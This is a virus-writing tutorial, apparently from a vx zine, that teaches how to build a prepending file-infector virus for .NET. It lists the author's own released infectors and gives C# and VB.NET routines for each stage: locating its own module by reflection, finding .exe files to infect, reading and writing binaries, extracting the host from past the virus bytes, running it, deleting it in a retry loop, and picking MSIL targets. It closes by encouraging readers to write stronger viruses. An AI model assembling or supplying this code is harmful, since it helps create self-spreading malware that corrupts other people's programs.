DotNET (prepending) virus Essentials

DotNet has been here for more than a year i think but look at the reported viruses that target or use the dotNET framework...

dotnet (aka donut) by benny : a win32asm native code that infects headers of msil executables (released in 29a6)
sharp (aka sharpei) by gigabyte : a win32asm program that extracts a c# exe and calls that to infect exes (to be released in Fantasy #1 accdg to the author)

my dotnet prependers...

syra (aka flatei) : a c# program that prepends itself to exe files in current directory. (submitted to 29a for its #7 zine)
3589 (aka flatei.b, .net.infector.gen, flatei.3589) : a condensed syra variant, reassembled in ilasm. (submitted to TKT for Fantasy #1)
veebeep (aka flatei.c, alpoor) : a vb.net program that prepends itself to exe files in current directory. (released in this zine)
syra.b : a c# prepender, which is another variant of syra, that chooses to infect dotnet files only in current directory (submitted to 29a for its #7 zine)

only a few, ei. why? is it the lack of interest among virus writers at targeting .net? is it the hugeness of the dotnet framework available at microsoft's site?

anyways, this document will show the essentials of a dotnet virus.

======================
identifying itself : Reflection
======================

a virus should be able to read itself to infect other files... thanks to System.Reflection namespace of the dotnet framework...
ie. compiled file is modname.exe in c:\bin

from the .NET Framework SDK Documentation

C#

using System.Reflection;
using System;
public class Simple
{
public static void Main () { Module mod = Assembly.GetExecutingAssembly().GetModules () [0];
Console.WriteLine ("Module Name is " + mod.Name);
Console.WriteLine ("Module FullyQualifiedName is " + mod.FullyQualifiedName);
Console.WriteLine ("Module ScopeName is " + mod.ScopeName); }
}
/* Produces this output: Module Name is modname.exe Module FullyQualifiedName is C:\Bin\modname.exe Module ScopeName is modname.exe */

VB.NET

Imports System.Reflection
Imports System
Public Class Simple
Public Shared Sub Main()
Dim myMod As System.Reflection.Module = _ [Assembly].GetExecutingAssembly().GetModules()(0)
Console.WriteLine("Module Name is " _ + myMod.Name)
Console.WriteLine("Module FullyQualifiedName is " _ + myMod.FullyQualifiedName)
Console.WriteLine("Module ScopeName is " _ + myMod.ScopeName)
End Sub
End Class
' Produces this output:
' Module Name is modname.exe
' Module FullyQualifiedName is C:\Bin\modname.exe
' Module ScopeName is modname.exe

====================
Searchin for files to infect
====================

seeking for the enemy in current directory..

C#

using System.IO

class search {
public static void Main(String[] args)
{
string[] files = Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe");
  foreach (string file in files){
  infect(file)
  }
}
}

VB.NET

Imports Microsoft.VisualBasic

Module Virus

Sub Main()
dim sfile as String
dim a as String
dim arr1 as String()
dim host as String
sfile = Dir(CurDir() & "\*.exe")
While sfile <> ""
a = a & sfile & "/"
sfile = Dir
End While
arr1 = Split(a, "/")
for each host in arr1
infect(host)
next host
End Sub

End Module

==========
Binary Reader
==========

this will binary read "filehere" and store the read bytes to bytes1

C#

using System.IO

[....]
  FileStream fs1 = new FileStream("filehere", FileMode.OpenOrCreate, FileAccess.Read);
  BinaryReader r1 = new BinaryReader(fs1);
  int host = (int) fs1.Length;
  int vir = host;
  r1.BaseStream.Seek(0, SeekOrigin.Begin);
  byte[] bytes1 = new byte[vir];
  int numBytesToRead = vir;
  int numBytesRead = 0;
  while (numBytesToRead > 0)
  {
  int n = r1.Read(bytes1, numBytesRead, numBytesToRead);
  if (n==0)
  break;
  numBytesRead += n;
  numBytesToRead -= n;
  }
  r1.Close();
[....]


VB.Net

imports Microsoft.VisualBasic

[.....]
Dim fs1 = New FileStream("filehere", FileMode.Open, FileAccess.Read)
Dim r1 As New BinaryReader(fs1)
hostlen1 = fs1.Length
r1.BaseStream.Seek(0, SeekOrigin.Begin)
Dim bytes1(hostlen1) As Byte
Dim numBytesToRead1 As Integer = CInt(fs1.Length)
Dim numBytesRead1 As Integer = 0
While numBytesToRead1 > 0
Dim n1 As Integer = r1.Read(bytes1, numBytesRead1, numBytesToRead1)
If n1 = 0 Then ' We're at EOF
Exit While
End If
numBytesRead1 += n1
numBytesToRead1 -= n1
End While
r1.Close()
[.....]

or

imports Microsoft.VisualBasic

[....]
dim bytes1 as string

FileOpen(1, "filehere", OpenMode.Binary)
bytes1 = Space(LOF(1))
FilePut(1, bytes1)
FileClose(1)
[.....]


==========
Binary Write
==========

Writes bytes1 to "file1.exe"

C#

using System.IO

[...]
FileStream fs1 = new FileStream("file1.exe", FileMode.OpenOrCreate, FileAccess.Write);
BinaryWriter w = new BinaryWriter(fs1);         
w.BaseStream.Seek(0, SeekOrigin.Begin);
w.Write(bytes1);
w.Close();
[....]

vb.net

imports Microsoft.VisualBasic

[....]
FileOpen(1, "file1.exe", OpenMode.Binary)
FilePut(1, bytes1)
FileClose(1)
[.....]

========
file length
========

essential if you wanna get the exact virus bytes or host bytes...
host is the length of "file.exe"

C#

using System.IO

[...]
FileStream fs1 = new FileStream("file.exe", FileMode.OpenOrCreate, FileAccess.Read);
int host = (int) fs1.Length;
[...]

VB.Net

imports System.IO

[....]
Dim host  as integer
Dim fs1 = New FileStream("file.exe", FileMode.Open, FileAccess.Read)
host = fs1.Length
[.....]

or

imports Microsoft.VisualBasic

[....]

dim host as long
host = FileLen("file.exe")

[....]


====
seek
====

filehere is infected with your prepending virus with a size of 7000 and you wanna extract the original contents of filehere..
original filehere bytes will be stored in bytes1

C#

using System.IO

[....]
  FileStream fs1 = new FileStream("filehere", FileMode.OpenOrCreate, FileAccess.Read);
  BinaryReader r1 = new BinaryReader(fs1);
  int host = (int) fs1.Length;
  int vir = host - 7000;
  r1.BaseStream.Seek(7000, SeekOrigin.Begin);
  byte[] bytes1 = new byte[vir];
  int numBytesToRead = vir;
  int numBytesRead = 0;
  while (numBytesToRead > 0)
  {
  int n = r1.Read(bytes1, numBytesRead, numBytesToRead);
  if (n==0)
  break;
  numBytesRead += n;
  numBytesToRead -= n;
  }
  r1.Close();
[....]


VB.Net

[.....]
Dim fs1 = New FileStream("filehere", FileMode.Open, FileAccess.Read)
Dim r1 As New BinaryReader(fs1)
hostlen1 = fs1.Length - 7000
r1.BaseStream.Seek(7000, SeekOrigin.Begin)
Dim bytes1(hostlen1) As Byte
Dim numBytesToRead1 As Integer = CInt(hostlen1)
Dim numBytesRead1 As Integer = 0
While numBytesToRead1 > 0
Dim n1 As Integer = r1.Read(bytes1, numBytesRead1, numBytesToRead1)
If n1 = 0 Then ' We're at EOF
Exit While
End If
numBytesRead1 += n1
numBytesToRead1 -= n1
End While
r1.Close()
[.....]

=======
execute
=======

use system.diagnostics.process.start or call unmanaged ShellExecute API to execute a file from c# and shell to execute a file from vb.net

==========
delete host
==========

assuming that host.exe is still running or active in the memory.. the routines below will wait for host.exe to terminate and if the host is terminated, it will
be deleted.. uses Managed SEH..

C#

using System.IO;

[.....]
  wet:
     try
     {
     File.Delete("host.exe");
     }
     catch
     {
     goto wet;
     }
     if (File.Exists("host.exe")==true)
     goto wet;
[.......]

VB.Net

imports System.IO

[.......]
wet:
try
File.Delete("host.exe")
catch
goto wet
end try
if (File.Exists("host.exe") = true)
goto wet
end if
[.......]

===========
dot net files?
===========

yeah, your virus was written in a dotnet language.. you only know how to infect *.exe, regardless of it's content.... an unripe dotnet virus...

donut virus by benny was called a dotnet virus (twas a win32pe file virus, avs) coz it only infects dotnet files...

now, your msil virus can segregate msil from not with this c# routine...

a dotnet virus infecting dotnet files in action...

C#

using System.Reflection;
using System.IO

[.....]

 string[] files = Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe");
  foreach (string file in files){
  try
  {
  AssemblyName.GetAssemblyName(file); // !!!! check if msil :: on error goto next file
 // your routine here i.e. examine file file for signature
 }
 catch
  {
  continue; // dotnot file.. next file
  }
 }

[.....]
  

pieces of a jigsaw puzzle ei... with this and with the help of some more readings, you can make a more superior dotnet virus than flatei or veebeep...

it is all in the dotnet framework sdk documentation......

ps : look at System.Reflection.. it is an interesting namespace.. is that the missing link for the true IL virus?...

alcopaul